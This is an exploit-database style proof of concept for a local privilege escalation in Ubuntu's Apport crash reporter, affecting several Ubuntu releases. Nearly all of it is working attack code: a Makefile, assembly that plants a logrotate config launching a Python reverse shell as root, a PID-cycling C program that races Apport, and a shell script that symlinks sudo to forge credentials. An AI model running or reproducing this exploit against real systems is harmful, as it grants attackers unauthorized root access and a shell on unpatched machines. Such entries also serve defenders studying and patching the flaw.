# Exploit Title: Apport 2.20 - Local Privilege Escalation # Date: 18/02/21 # Exploit Author: Gr33nh4t # Vendor Homepage: https://ubuntu.com/ # Version: Apport: Ubuntu 20.10 - Before 2.20.11-0ubuntu50.5 Apport: Ubuntu 20.04 - Before 2.20.11-0ubuntu27.16 Apport: Ubuntu 18.04 - Before 2.20.9-0ubuntu7.23 Apport: Ubuntu 16.04 - Before 2.20.1-0ubuntu2.30 # Tested on: Ubuntu This is a POC for Apport exploit, we exploited these bugs by launching a reverse shell to 127.0.0.1:1234. # Setup To compile the exploit code several packages are needed: sudo apt-get install build-essential nasm gcc # Compilation make # Run ./exploit.sh The reverse shell will connect on the next execution of logrotate nc -l -p 1234 ## Makefile ## .PHONY: all clean CC=gcc CFLAGS= NASM=nasm NASM_FLAGS=-f elf64 LD=ld all: exploit crash decoy exploit: exploit.c $(CC) -o $@ $< $(CFLAGS) chmod +x $@ crash: crash.o $(LD) $^ -o $@ decoy: decoy.o $(LD) $^ -o $@ crash.o: crash.asm $(NASM) $(NASM_FLAGS) $^ decoy.o: decoy.asm $(NASM) $(NASM_FLAGS) $^ clean: rm exploit decoy crash *.o ## crash.asm ## section .data message db 10,"/var/crash/test.log{",10," su root root",10," daily",10," size=0",10," firstaction",10," python3 -c ", 34, "import sys,socket,os,pty; s=socket.socket();s.connect(('127.0.0.1', 1234));[os.dup2(s.fileno(), fd) for fd in (0,1,2)];pty.spawn('/bin/sh')", 34, ";",10," endscript",10,"}",10, 00 timeval: tv_sec dd 0 tv_usec dd 0 section .text global _start _start: mov dword [tv_sec], 4000000 mov dword [tv_usec], 0 mov rax, 35 mov rdi, timeval mov rsi, 0 syscall ## decoy.asm ## section .text global _start _start: mov dword [0], 0 ## exploit.c ## #include #include #include #include #include #include #include #include #define PID_THRESHOLD (80) int read_max_pid_file() { FILE *fd = 0; char buf[256]; fd = fopen("/proc/sys/kernel/pid_max", "r"); fread(buf, sizeof(buf), 1, fd); fclose(fd); return atoi(buf); } void write_to_fifo_file(char * path) { FILE *fd = 0; char buf[] = "A"; fd = fopen(path, "w"); fwrite(buf, sizeof(buf), 1, fd); fclose(fd); return; } int main(int argc, char *argv[]) { int iteration = 0; pid_t crash_pid = -1, temp_pid = -1, spray_pid = -1; int current_pid = 0, max_pid = 0; int total_pid = 0; char *crash_argv[] = {"crash", NULL}; char *sudo_argv[] = {"sudo", "-S", "sud", NULL}; char current_dir[1024] = {0}; char exec_buf[2048] = {0}; char crash_buf[2048] = {0}; struct stat sb = {0} ; int null_fd = -1; signal(SIGCHLD, SIG_IGN); getcwd(current_dir, sizeof(current_dir)); snprintf(exec_buf, sizeof(exec_buf), "%s/%s", current_dir, "a\rUid: 0\rGid: 0"); snprintf(crash_buf, sizeof(crash_buf), "%s/%s", current_dir, "crash"); chdir("/etc/logrotate.d/"); // Creating the crash program if (0 == stat(crash_buf, &sb) && sb.st_mode & S_IXUSR) { crash_pid = fork(); if (0 == crash_pid) { execve(crash_buf, crash_argv, NULL); exit(0); } else if(-1 == crash_pid) { printf("[-] Could not fork program\n"); return -1; } } else { printf("[-] Please check crash file executable."); return -1; } max_pid = read_max_pid_file(); printf("[*] crash pid: %d\n", crash_pid); printf("[*] max pid: %d\n", max_pid); printf("[*] Creating ~%d PIDs\n", max_pid); printf("[*] Forking new processes\n"); sleep(3); // Iterating through max_pid to almost reach the crash program pid while (iteration < max_pid - 1) { // Print progress of forks if( 0 == (iteration % (int)(max_pid / 5000))) { printf("\rIteration: %d/%d", iteration + 1, max_pid); fflush(stdout); } temp_pid = -1; temp_pid = fork(); if (0 == temp_pid) { exit(0); } else if (temp_pid > 0) { iteration++; // We should stop before the crash pid to avoid other processes created meanwhile to interfere the exploit process if ( temp_pid < crash_pid && crash_pid - temp_pid < PID_THRESHOLD) { printf("\rIteration: %d/%d\n", iteration + 1, max_pid); fflush(stdout); printf("[+] less then %d pid from the target: last fork=%d , target: %d\n", PID_THRESHOLD, temp_pid, crash_pid); break; } } else if (-1 == temp_pid) { printf("[-] Could not fork temp programs\n"); } } printf("[*] Crashing the crash program\n"); kill(crash_pid, SIGSEGV); // From Now on the seconds apport will launch and we have 30 seconds to exploit it sleep(5); printf("[*] Killing the crash program\n"); kill(crash_pid, SIGKILL); sleep(3); // Now crash pid is free and we need to occupy it for(int i=0; i < PID_THRESHOLD ; i++) { spray_pid = fork(); if (0 == spray_pid) { if (crash_pid == getpid()) { null_fd = open("/dev/null", O_WRONLY); dup2(null_fd, 1); dup2(null_fd, 2); close(null_fd); printf("[+] Creating suid process\n"); execve(exec_buf, sudo_argv, NULL); } exit(0); } } sleep(3); printf("[*] Writing to fifo file\n"); write_to_fifo_file(argv[1]); // Now the first apport released and the second apport resumed printf("[+] Wrote core file to cwd!\n"); sleep(10); // Waiting for the second apport to finish execution return 0; } ## exploit.sh ## #!/bin/sh set -e echo "[*] Running exploit" touch /var/crash/test.log ulimit -c unlimited if [ ! -d "~/.config/apport" ]; then echo "[*] Settings directory not exists" echo "[*] Creating settings directory" mkdir -p ~/.config/apport fi if [ ! -f "~/.config/apport/settings" ] ; then echo "[*] Settings file not exists" echo "[main]\nunpackaged=true\n" > ~/.config/apport/settings echo "[+] Settings file created" fi DECOY_PATH=`realpath ./decoy` MY_UID=`id -u` DECOY_CRASH_NAME=`echo "${DECOY_PATH}.${MY_UID}.crash" | sed 's/\//_/g'` DECOY_CRASH_PATH="/var/crash/${DECOY_CRASH_NAME}" if [ -f $DECOY_CRASH_PATH ] || [ -p $DECOY_CRASH_PATH ] ; then echo "[*] decoy crash exists deleting the file" rm $DECOY_CRASH_PATH fi mkfifo $DECOY_CRASH_PATH echo "[+] FIFO file created" ./decoy 2>&1 >/dev/null & killall -SIGSEGV ./decoy echo "[+] Decoy process created" SUDO_PATH=`which sudo` ln -s $SUDO_PATH "linkchange" python3 -c "import os; os.rename('./linkchange', 'a\rUid: 0\rGid: 0')" echo "[+] symlink to sudo created" ./exploit $DECOY_CRASH_PATH rm $DECOY_CRASH_PATH sleep 5 if [ -f "/etc/logrotate.d/core" ] ; then echo "[*] Exploit succesfully finished" else echo "[*] Exploit failed" fi # Kill the sudo process after second apport finished kill `ps -ef | grep "sudo -S sud" | grep -v grep | awk '{print $2}'` ##